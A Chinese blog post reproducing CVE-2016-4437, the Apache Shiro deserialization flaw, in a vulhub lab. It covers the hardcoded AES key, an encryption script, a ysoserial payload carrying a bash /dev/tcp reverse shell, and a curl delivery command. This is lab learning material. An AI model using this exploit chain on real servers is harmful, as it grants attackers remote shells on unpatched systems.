影响范围:

  • Apache Shiro 1.0.0 - 1.2.4

  • 部分集成过时 Shiro 组件的第三方框架/脚手架

漏洞类型:

Java反序列化

操作系统限制:

配置要求:

默认配置

漏洞利用:

反弹shell

利用原理:

在Shiro1.2.4及以前的版本中,AbstractRememberMeManager类在代码中硬编码了AES-128-CBC加密的密钥kPH+bIxk5D2deZiIxcaaaA==,意味着所以使用默认配置的Shiro系统用同一个密钥进行加解密Cookie。Shiro方便用户在关闭浏览器保持登录状态(RememberMe逻辑),将用户身份序列化后存入Cookie,当用户再次访问,服务器回自动读取并反序列化还原对象。解密Cookie后,Shiro直接调用Java的ObjectInputStream.readObject()来还原对象,密钥对还原对象类型进行安全防护。攻击者在Cookie中注入精心构造的恶意代码,Shiro拦截含rememberMe字段的HTTP请求,恶意代码经过base64解码再用AES解密(密钥已知),ObjectInputStream反序列化还原恶意对象,执行恶意代码

漏洞复现:

现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/shiro/CVE-2016-4437
#拉取镜像
docker-compose up -d

开启监听端口

下载攻击工具

#准备 ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#安装依赖
pip3 install pycryptodome
#创建并编写加密python脚本
touch encrypt.py
vi encrypt.py

编写加密脚本

import sys, uuid, base64
from Crypto.Cipher import AES
​
def get_payload(filename):
    # Shiro 默认硬编码 Key
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 
    with open(filename, 'rb') as f:
        content = f.read()
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    # PKCS7 填充处理
    pad_len = 16 - (len(content) % 16)
    content = content + (chr(pad_len) * pad_len).encode()
    ciphertext = encryptor.encrypt(content)
    return base64.b64encode(iv + ciphertext)
​
if __name__ == '__main__':
    print(get_payload(sys.argv[1]).decode())

生成payload

# 这里的 Base64 字符串是反弹 Shell 命令:bash -i >& /dev/tcp/攻击机ip/7777 0>&1
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.bin
#AES加密
python3 encrypt.py payload.bin > cookie.txt

发起攻击

curl -v http://靶机ip:8080/ -b "rememberMe=$(cat cookie.txt)"

返回302

反弹shell连接成功


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Shiro
喜欢就支持一下吧